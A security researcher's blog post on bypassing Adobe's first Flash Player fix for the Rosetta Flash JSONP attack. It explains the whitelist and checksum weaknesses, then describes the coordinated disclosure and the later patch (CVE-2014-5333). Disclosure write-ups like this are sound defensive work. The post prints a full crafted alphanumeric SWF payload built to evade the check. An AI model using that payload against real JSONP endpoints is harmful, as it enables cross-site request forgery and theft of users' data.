Adobe fixed Rosetta Flash today

Submit to Reddit
Vote on HN

Rosetta Flash

Adobe pushed a tentative fix for Rosetta Flash in Flash Player 14 beta codename Lombard (version 14.0.0.125, release notes) and finalized the fix in the next release, version 14.0.0.145, on July 8, 2014.

In the security bulletin APSB14-17, Adobe mentions a stricter verification of the SWF file format:

These updates include additional validation checks to ensure that Flash Player rejects malicious content from vulnerable JSONP callback APIs (CVE-2014-4671).

What I quickly found out after reversing the patch is that the fix was not good enough.

The old 14.0.0.145 fix

Reversing the 14.0.0.145 patch.

Reversing the 14.0.0.145 patch.

What Flash Player used to do in order to disrupt Rosetta Flash-like attacks was:

  1. Check the first 8 bytes of the file. If there is at least one JSONP-disallowed character, then the SWF is considered safe and no further check is performed.
  2. Flash will then check the next 4096 bytes. If there is at least one JSONP-disallowed character, the file is considered safe.
  3. Otherwise the file is considered unsafe and is not executed.

First problem: JSONP whitelist too broad

The JSONP-disallowed list was [^0-9A-Za-z\._] and was too broad. For instance, they were considering the $ character as disallowed in a JSONP callback, which is often not true, because of jQuery and other fancy JS libraries.

This means that if you add $ to the ALLOWED_CHARSET in Rosetta Flash, and the JSONP endpoint allows the dollar sign in the callback (they almost always do), you bypass the fix.

Second problem: we control the ADLER32 checksum!

Structure of a Rosetta Flash-generated SWF file.

Structure of a Rosetta Flash-generated SWF file.

A Rosetta Flash-generated SWF file ends with four bytes that are the manipulated ADLER32 checksum of the original, uncompressed SWF. A motivated attacker can use the last four malleable bytes to match something already naturally returned by the JSONP endpoint after the padding.

An example that always works is the one character right after the reflected callback: an open parenthesis: (.

So, if we make the last byte of the checksum a (, and the rest of the SWF is alphanumeric, we can pass as a callback the file except the last byte, and we will have a response with a full valid SWF that bypasses the check by Adobe (because ( is disallowed in callbacks).

We are lucky: the last byte of the checksum is the least significant of S1, a partial sum, and it is trivial to force it to ( with our Sled + Delta bruteforcing technique (see the original writeup).

Here is a valid alphanum Flash file that ends with an open parenthesis and that we could pass, trimming the last character, as a JSONP callback (wrapped, remove newlines):

CWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt333
swW0ssG033wDDtpt33333www03333gFPoHXwHHhOHHFhH3D0Up0IZUnnnnnnnnn
nnnnnnnnnnUU5nnnnnn3Snn7YNqdIbeUUUfV13333333333333333s03sDTVqef
XAxooooD0CiudIbEAt333wEDDt0GDGpDDwGG0wttttwwDtwt33333www033333G
fBDTHHHHChHHHMRFHHHhHHCccCSsgSkKoumWW7D0Up0IZUnnnnnnnnnnnnnnnnn
nnUU5nnnnnn3Snn7YNqdIbeUVUUUeF13333WUDUUT1333G1333333WUU03GDTVq
efXA8oddx888f9V0CiudIbEAt3W0wDt033sGG0GttGwt33333333ww0333GDfBD
hRHJqqIHZvAqFzAHjVUVYrvqQQzrEVAArzrAnVrzQfrNeYErmqeHjVUVYrvqQQz
ryzmrvqqfFmVHjVUVYrvqQQz2D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3S
nn7CiudIbEAtswwW0GDDG033st0GDDGwGGG33333333s033sDdFPvrfZbynqbJA
yHRZIZAbznNNrbAqNbrAnqNjbrNjbjZaZAQbynqHRZIZAbznNNrbVZQbynqbjni
NHRZIZAbznNNrbzFIZbynqb1D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Sn
n7wiudIbEAtwWDttDDDwpDGpDDwG0stDDGptDwpDttt3st3GDDDtDDDtDDDGDDD
t033sDDt333wwv33gBDIHjYqqEHEVHEfuEHdHnQFfuHVaEHyfEJfuEbqYaZEHAf
QvENHyzYqAAHaZuyzYqAAHyfEJnafqeEHIYqEqEMIfHaZnQHynmfHrEZvfHNfnv
NEHzYfZEfJfuEbnfAFHZIIHBrrfERYqIbAZvyHJfuEbqYaZEHWXHDHLttwXHOhW
XHDhLWXHDHgDHHHHxlHoHWTHDXD8D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnn
n3Snn7CiudIbEAtwu3swD33wwGptpDDG0333sG0w33333www033GdFPtxtDtdtT
TdHHHWOhHXVoXHttnoXHtLwoxHtlttnoXHtLwoXHtlwodH4D0Up0IZUnnnnnnnn
nnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwuDwG333sw0GtDDDw03333sDt3333
3sG03sDDdFPtxXdHNwXHdLggGGWwXHdHNwXHdlgwDHDhHHHddNwXHdTg7D0Up0I
ZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333sE0GDtDDDtDDDwDG
pDDwGGpt03wDDDGDDDG0333st333swwv3wwwFPXHLRKvOXHLHAODHLBLHAOXHLB
SOdHthHHHcODHDXLrSCsOXHLLAOXHLlSODHLJLLAOXHLlSOXHLjSsOtHtotHHLH
AOtHtXHHHLhAOXHLZKvWhHHsODHDHLzSWhHhvODHDHLFwBHHhHxmHXgGHkHOXHL
HAOXHLbSOtHLftQHHHsOXHLVAOXHLvSOaH4D0Up0IZUnnnnnnnnnnnnnnnnnnnU
U5nnnnnn3Snn7GNqdIbeUV13333333333333333sUUfpDDqUE0gfzAox88D8888
D8888D88880CiudIbEAt3sWtwG3swwGptwG0wDG03333GDD33333sw033gFPLlt
THHHLLnwXHLVWfwXHLHnwlHLvtHHHHLHGggwrHthHHHXDhtxHHHLNkfwlHDHLBt
HHHHg7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwwEwDGG
ptwtG03sDwwwGDGt3wwGGwGDtGDsw0GDtGpDDt33333www033GdFPtHDHTLdHHH
HTBrnHRxjHHHObHDHvQJaZMvJfNHgCcGHVKKkHSmcsHoXHTHwhHHloXHThbodHd
hHHHTXboXHTxAlH2D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SnnwWNqdIb
e13333333333333WfV133sUU03sDUVUUUefXA888ooooooooooooooooooooooo
ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
oooooooooooooooooooooooooooooooooooooooooooc8888888888888888888
8888888888880tvI(

This issue has CVE-2014-5333.

The new fix in 14.0.0.176

I reported the bypass to Adobe as soon as I discovered it, a few days after my writeup was published. We worked together for coming up with a complete fix.

The new version, released on August 12 2014, does the following checks in sequence:

  1. Look for Content-Type: application/x-shockwave-flash header. If found, return OK.
  2. Scan the first 8 bytes of the file. If any byte is >= 0x80 (non-ASCII), return OK.
  3. Scan the rest of the SWF, and at maximum 4096 bytes. If any byte is >= 0x80, return OK.
  4. The SWF is invalid, do not execute it.

In the security bulletin APSB14-18, Adobe mentions the new validation:

These updates include a new validation check to handle specially crafted SWF content that can bypass restrictions introduced in version 14.0.0.145. The new restrictions in 14.0.0.176 prevent Flash Player from being used for cross-site request forgery attacks on JSONP endpoints (CVE-2014-5333).

I believe this is finally enough.

Credits

Thanks to Nicolas Ruff, my colleague at Google, for reversing the patches and to Avira Blog for the illustration at the top of this blog post.